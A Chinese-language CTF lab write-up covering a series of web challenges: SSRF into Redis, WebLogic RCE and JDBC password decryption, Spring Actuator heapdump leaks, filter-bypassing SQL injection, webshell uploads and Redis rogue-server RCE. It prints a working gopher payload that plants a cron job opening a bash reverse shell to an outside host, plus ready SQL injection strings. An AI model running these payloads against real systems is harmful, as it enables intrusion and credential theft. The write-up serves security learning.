CTF 靶场闯关
只有 web2 的 flag4 没拿到, 但是我认为思路完全没有问题, 可能还是经验不足吧
详细过程就不写了, 太多敏感信息打码也麻烦, 就写出思路
里面的信息都做了脱敏
Web1
FLAG1
该环境有2台主机,第一台主机访问地址为:119.45.230.50:80(备用地址:118.195.208.224:80),剩余一台主机需要各位进行可能的内网代理、端口转发等操作进行发现和渗透.
flag1:在第一台主机的根目录
flag2:在第二台主机的数据库中
flag3:在第二台主机的根目录下
内网范围在:172.18.240.0/24
SSRF
用 file:///flag
秒了
flag1: flag1{6d5e5c2bb397ba7727b58df59b35f66a}
FLAG2
上面使用 file
协议确实可以直接读出 flag, 该怎么访问到另一台主机上呢
你可能想的是直接 getshell, 比如利用 redis 未授权访问, 然后你用 dict://175.27.163.187:6379/info
, 果然有, 手到擒来!
但是你又发现, 不管是写计划任务还是写 webshell 等等都不行, 有时候还会报 slave 节点只读的问题
这是怎么回事呢?
实际上所有题都是这个 IP, 每个端口对应的题不一样, 应该是端口映射 -> docker 容器 这样的, 所以你发现的 redis 其实是后面的题......
实际上我当时就是遇到这种情况, 刚开始做的时候脑子有点懵, 当我做到后面才知道, 然后马上返回这题看了看 hosts 文件:
172.18.240.5 才是这个容器的 ip
那么现在就好办了, 先对 172.18.240.5 用 SSRF + BP 扫一下端口, 发现没有可以利用的
题目说 flag2 在数据库里, 那么我们就直接扫瞄 C 段 + 3306/6379 等常见端口, 最后就得到了: 172.18.240.7:6379
直接 dict://172.18.240.7:6379/get:flag
就可以拿到 flag2 了
flag2: flag2{2b7cc5b73fe867cc83546583b858c8ab}
FLAG3
题目说 flag3 在另一台主机的根目录下, 那么必然就是写任务计划 getshell 了
这里写任务计划的时候要注意目标系统是 centos, 可以 gopher 也可以 dict 看你的喜好
gopher://172.18.240.7:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2462%0D%0A%0A%0A%2A%20%2A%20%2A%20%2A%20%2A%20/bin/bash%20-i%20%3E%26%20/dev/tcp/11.111.111.11/4444%200%3E%261%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2415%0D%0A/var/spool/cron%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%2A1%0D%0A%244%0D%0Aquit%0D%0A
flag3: flag3{f22eec9fb7c498b3a747392ff53a746b}
Web2
该环境有3台主机,第一台主机访问地址为:119.45.230.50:7001(备用地址:118.195.208.224:7001),剩余两台主机需要各位进行可能的内网代理、端口转发等操作进行发现和渗透.
flag1:在第一台主机的根目录下
flag2:在第二台主机的数据库中
flag3:在第二台主机的根目录下
flag4:在第三台主机的根目录下
内网范围在:172.16.10.0/24、172.25.20.0/24、172.26.30.0/24
必须说的是, 这个环境实在太卡了, 做 flag 3 的时候, 明明几分钟的事, mysql 愣是连不上, 做到凌晨 3 点才连上
flag 4 也是同样的情况, 好不容易连上了, 做着做着断掉了又连不上
我也试过换服务器, 换过线路, 加过性能, 我认为并不是我的问题
FlAG 1
7001, weblogic 命令执行直接秒了
flag1: flag1{3e942fd37767def3a9f68cf5ee6ebee5}
FLAG 2
这里他说在数据库中
通过 weblogic getshell 后, 使用 msf 上线木马, 并且搭建代理服务器
uname -m
查看了系统架构是 x86_64, 生成了反向连接木马并且上马
通过扫描扫到运行 mysql 的主机: 172.25.20.12:3306
现在要解决的问题就是如何连上 mysql 了. 爆破吗? 显然不是一个好的方案
这里用了 weblogic, 我们可以在配置文件中翻找一下, 有没有 jdbc 的配置
最终找到 /root/Oracle/Middleware/user_projects/domains/base_domain/config/jdbc/JDBC_Data_Source-0-3407-jdbc.xml
:
<base_domain/config/jdbc# cat JDBC_Data_Source-0-3407-jdbc.xml
<?xml version='1.0' encoding='UTF-8'?>
<jdbc-data-source xmlns="http://xmlns.oracle.com/weblogic/jdbc-data-source" xmlns:sec="http://xmlns.oracle.com/weblogic/security" xmlns:wls="http://xmlns.oracle.com/weblogic/security/wls" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.oracle.com/weblogic/jdbc-data-source http://xmlns.oracle.com/weblogic/jdbc-data-source/1.2/jdbc-data-source.xsd">
<name>JDBC Data Source-0</name>
<jdbc-driver-params>
<url>jdbc:mysql://172.25.20.12:3306/mysql</url>
<driver-name>com.mysql.jdbc.Driver</driver-name>
<properties>
<property>
<name>user</name>
<value>root</value>
</property>
</properties>
<password-encrypted>{AES}ZhArsOkXPBA9AvAwRxNxpK4G0WlHlpNFBZVsu+PDlYU=</password-encrypted>
</jdbc-driver-params>
<jdbc-connection-pool-params>
<test-table-name>SQL SELECT 1</test-table-name>
</jdbc-connection-pool-params>
<jdbc-data-source-params>
<jndi-name>test</jndi-name>
<global-transactions-protocol>OnePhaseCommit</global-transactions-protocol>
</jdbc-data-source-params>
</jdbc-data-source>
这里的密码是 AES 加密之后的, 直接使用 /root/Oracle/Middleware/wlserver_10.3/common/bin
目录下面提供的 wlst.sh
脚本
运行后:
wls:/offline> domain = "/root/Oracle/Middleware/user_projects/domains/base_domain/"
wls:/offline> service = weblogic.security.internal.SerializedSystemIni.getEncryptionService(domain)
wls:/offline> encryption = weblogic.security.internal.encryption.ClearOrEncryptedService(service)
wls:/offline> print "MySQL password: %s" %encryption.decrypt("{AES}ZhArsOkXPBA9AvAwRxNxpK4G0WlHlpNFBZVsu+PDlYU=")
MySQL password: flag#1024
拿到了账号密码, 连上 mysql 就可以看到了, 直接通过代理就可以连接
flag2: flag2{9fffac75c84bfc66fef4998f3574c6c8}
FLAG 3
这里说在第二台的根目录下, 那肯定就是 UDF 了
找到它的 plugin_dir
为 /usr/lib64/mysql/plugin/
flag3: flag3{2e947aef43be6dc428a9c626ba7fb824}
FLAG 4
flag4 说是还有一台主机, 在第三台主机的根目录下, 刚刚在拿下的服务器中扫了没有, 那肯定就得把运行 mysql 的服务器当跳板机了, 使用 cat /etc/hosts
看到果然有 172.26.30.0/24 网段
我们现在对其的控制只有命令执行, 尝试 getshell, 但是失败了, 这个主机很多命令都没有, 用 curl
验证后, 这台机器并不能访问互联网
于是我又查看了他的发行版, 使用 cat /etc/os-release
, 输出如下:
NAME="Oracle Linux Server"
VERSION="7.9"
ID="ol"
ID_LIKE="fedora"
VARIANT="Server"
VARIANT_ID="server"
VERSION_ID="7.9"
PRETTY_NAME="Oracle Linux Server 7.9"
ANSI_COLOR="0;31"
CPE_NAME="cpe:/o:oracle:linux:7:9:server"
HOME_URL="https://linux.oracle.com/"
BUG_REPORT_URL="https://github.com/oracle/oracle-linux"
ORACLE_BUGZILLA_PRODUCT="Oracle Linux 7"
ORACLE_BUGZILLA_PRODUCT_VERSION=7.9
ORACLE_SUPPORT_PRODUCT="Oracle Linux"
ORACLE_SUPPORT_PRODUCT_VERSION=7.9
现在已知肯定是和运行 weblogic 的 web 服务器可以连接, 所以直接在 web 服务器上安装并运行 nc, 反弹 shell 到 web 服务器的 nc 上, 反弹成功
现在我的思路就是在 web 服务器上上传 earthworm 等内网穿透工具, 然后用 mysql 服务器 curl
下载运行, 搭建 web -> mysql 服务器的代理
mysql 服务器下载了 ew 启动一个代理服务器, 然后用 web 服务器上的 fscan 走代理扫描 172.26.30.0/24, 并没有扫到第三台主机
我又在 web 服务器上安装了 proxychains 用 nmap 来扫, 但这里就很奇怪了, 不管是 fscan 还是 nmap 都没有扫到第三个
我也尝试过分段扫, 端口也精细化了, 也尝试过加时间间隔, 也试过减少数据包始终不行, 中间代理服务多次断开, 重启了很多次.....
于是我准备给 mysql 服务器上马 (正向马, 上传到 web 服务器上再用 mysql 服务器下载下来), 然后用 msf 搭建二层代理来扫描, 奈何环境就是很卡, mysql 一连就是半个小时一个小时才成功一次, 而且还会断
环境太卡了, 上面没有扫到 30.0/24 的主机, 无法排查原因, 准备用二层代理直接在 msf 里面扫, 连上了但是扫的时候又断开了, 减小流量还是不行
时间到了, 这道题也没办法做了
Web3
主机信息:
该环境有2台主机,访问地址为:119.45.230.50:22883、119.45.230.50:13306(备用地址:118.195.208.224:22883、118.195.208.224:13306).
flag1:在第一台主机泄漏的信息中
flag2:在第二台主机的数据库内
FLAG 1
访问 175.27.163.187:22883 进去是这样的页面:
写过 JavaWeb 的朋友就很清楚了, 这可能用了 Spring
随便访问一个 endpoint, 发现需要认证
这种就是 Basic Authorization
跑了一遍弱口令无果, 发现响应报文有下面的字段:
www-authenticate: Basic realm="Realm"
还发现随便输一个 /aaa
这样的 endpoint 也需要认证
那应该就是用了 Spring 一套, 大概率是考 Spring Actuator 的未授权访问
尝试访问 /actuator
, 成功, 直接访问 /actuator/env
, 发现了 flag
flag1: flag1{e20cdd96b8985a3557e5720726bb09a8}
FLAG 2
通过上面的信息判断, 175.27.163.187:13306 就是 mysql, 那就是让我们找 mysql 的密码
可以发现输出的密码都被换成了 *
我们直接访问 /actuator/heapdump
, 将内存转储到我们的电脑上, 然后用 VisualVM 类似的工具来找 mysql 密码
Spring Boot 的静态文件都是通过 *AutoConfiguration
来配置的, 所以找 org.springframework.boot.autoconfigure.jdbc
包下的 DataSourceProperties
就可以找到
找到后直接连接数据库, flag 就在数据库中
flag2: flag2{9edbd4b03b5f86a9abe079bc63ea847b}
Web5
该环境有1台主机,该主机访问地址为:119.45.230.50:8082(备用地址:118.195.208.224:8082).
该环境有1个FLAG,信息如下:
flag1:在题目主机的根目录下
进去是一个 cms, 直接尝试访问 /admin
, 跳转到了后台登陆页面
感觉不太可能有弱口令, 就先试试 SQL 注入, 用户名输入 '
后报错
但是他做了一下过滤, 过滤的关键字有: select
, from
等
第一次尝试:
a'and(updatexml(1,(concat(0x7e,(select version()),0x7e)),3))#
发现虽然爆出了版本, 但是 select
消失了:
发现过滤了 select
, 尝试双写:
'and(updatexml(1,(concat(0x7e,(seselectlect version()),0x7e)),3))#
成功绕过
他自己把表名和列名给我们了, 接下来就直接获取, 尝试:
'and(updatexml(1,(concat(0x7e,(seselectlect admin_name,admin_password from bees_admin),0x7e)),3))#
发现 from
消失了, 尝试双写无法绕过
又尝试了写两个 from
:
'and(updatexml(1,(concat(0x7e,(seselectlect admin_name,admin_password from from bees_admin),0x7e)),3))#
发现变成了:
'and(updatexml(1,(concat(0x7e,(seselectlect admin_name,admin_passwordfrom bees_admin),0x7e)),3))#
成功留下了 from
, 但少了个空格, 那就添一个空格看看:
'and(updatexml(1,(concat(0x7e,(seselectlect admin_name,admin_password from from bees_admin),0x7e)),3))#
成功绕过, 但是报了: 操作数据库失败Operand should contain 1 column(s)
那么我们在 select
后加上 concat
:
'and(updatexml(1,(concat(0x7e,(seselectlect concat(admin_name,':',admin_password) from from bees_admin),0x7e)),3))#
爆出了账号密码:
但是会发现密码位数不够, 使用 substr
截取:
'and(updatexml(1,(concat(0x7e,(seselectlect substr(concat(admin_name,':',admin_password),22) from from bees_admin limit 0,1),0x7e)),3))#
最终获取到了账号密码:
flag 2446d54c2e68d221db9cff653b01a0eb
md5 解密之后得到明文密码: login123
进入后台后到处查看了一下, 发现了一个图片上传的功能, 图片 URL 是这样的: http://175.27.163.187:8082/upload/img/202408251933459800.jpg
然后尝试上传 webshell, 发现做了验证:
那么尝试 bp 抓包, 直接把文件类型改成 image/jpeg
, 成功上传 webshell
flag: flag1{476e2dceb225678cd466fc3cd2b4c59c}
Web6
主机信息:
该环境有1台主机,该主机访问地址为:119.45.230.50:8081(备用地址:118.195.208.224:8081).
该环境有1个FLAG,信息如下:
flag1:在题目主机的根目录下
最抽象的一道题, 进去之后你会发现是最新版的Tomcat 10.1.28
于是只能看看弱口令, 但是如果用的字典不全或者不太对, 那你可能就会想这道题放在第 6 个肯定没有那么简单, 也许是遗漏了什么. 忙碌半天, 发现根本打不进去, 最后换个字典弱口令进去了...
没什么说的, 就是弱口令: tomcat qwe123, 进去传 webshell 就行了
flag: flag1{c7a8d2734ec5a4ed687a9a692ee733f8}
Web7
主机信息:
该环境有1台主机,该主机访问地址为:119.45.230.50:6379(备用地址:118.195.208.224:6379).
FLAG信息:
该环境有1个FLAG,信息如下:
flag1:在题目主机的根目录下
一看 redis, 就知道是老三样了
先看看写任务计划, 发现不行, 报路径错误; 再看看写公钥发现也不行, 报权限错误
那可以写 webshell 吗? 很可惜也不行, 不知道网站路径
那就还有一个, 主从 rce, 使用这个: https://github.com/Erzbir/redis-rogue-server
如果不行, 多尝试几次
flag: flag1{672728e3bde3f4cc2b59de572b4df6d6}
Web9
主机信息:
该环境有2台主机,访问地址为:119.45.230.50:8848、119.45.230.50:58080(备用地址:118.195.208.224:8848、118.195.208.224:58080).
FLAG信息:
该环境有1个FLAG,信息如下:
flag1:在第二台主机的根目录下
这个 8848 是 nacos 默认的端口, 而 58080 是一个登录框
题目说在第二个主机上, 所以我直接先看看 58080
发现这个使用了 shiro, 用现有的密钥爆破了一下, 不行
那应该就是要用到 nacos 相关的漏洞了
这个题的 nacos 漏洞挺多的, 有未授权访问, 也有弱口令
访问 /nacos
, 直接使用 nacos nacos, 默认口令进入后台
仔细查看配置, 就会发现其中有 shiro 的 key: JG/RsuIKp3DFaBfD3ctgeA==
那就直接注入内存马, getshell 了
flag: flag1{97fde43b8e55cb2e2b26b7c232ea82fa}
实际上我还试了 nacos 的其他漏洞, SQL 注入, 反序列化, 都没有成功, 应该是没有这些漏洞
感受
都是基础题, 但是中间有些小插曲导致耗时比较久, 一是刚开始没考虑到环境的结构, 还有就是就比如 Web6 明明那么简单的弱口令, 随便一个字典都能跑, 但我跑的那个字典就刚好没, 以及做 Web7 的时候没写 CONFIG SET dir /tmp
, 刚开始以为是 .so
的问题, 重新编译, 换代码各种浪费了点时间
除了 web2 的 flag3 和 flag4, 实际上其他题很快就解出来了, 这两个磨了很久, 可能是他给 docker 分的资源太少导致容器实在太卡了吧, flag3 都是从晚上 8 点磨到凌晨 4 点才拿到 (重复同样的操作)
flag4 没拿到还是有点遗憾
总体还是收获了不少, 对 msf 等工具的熟练度又提升了